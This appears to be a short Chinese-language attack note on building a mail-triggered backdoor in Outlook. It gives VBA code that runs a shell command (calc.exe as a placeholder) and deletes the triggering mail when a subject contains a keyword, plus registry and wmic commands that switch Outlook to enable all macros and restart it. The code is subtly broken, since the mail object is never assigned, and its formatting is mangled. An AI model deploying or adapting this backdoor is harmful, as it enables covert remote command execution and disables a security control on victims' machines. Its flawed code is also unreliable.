利用Outlook宏创建基于邮件触发的后门

4 = 不通知，禁用所有宏3 = 为有数字签名的宏提供通知，禁用所有其他宏2 = 为所有宏提供通知1 = 启用所有宏

'Outlook启动时首先订阅默认收件箱的相关事件Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub '回调函数，监听新邮件到达事件Private Sub olInboxItems_ItemAdd(ByVal Item As Object)    On Error Resume Next    Dim olMailItem As MailItem     If TypeOf Item Is MailItem Then       ' 对邮件主题进行过滤，只有特定关键字主题邮件到达才触发后门执行       If InStr(olMailItem.Subject, "通知") > 0 Then            Shell "calc.exe"        olMailItem.Delete       End If    End If     Set Item = Nothing    Set olMailItem = NothingEnd Sub

reg add HKU<USER SID>SOFTWAREMicrosoftOffice16.0OutlookSecurity /v "Level" /t REG_DWORD /d "0x1" /f

wmic process where name="outlook.exe" call terminatewmic process call create "C:Program FilesMicrosoft OfficeOffice16OUTLOOK.EXE"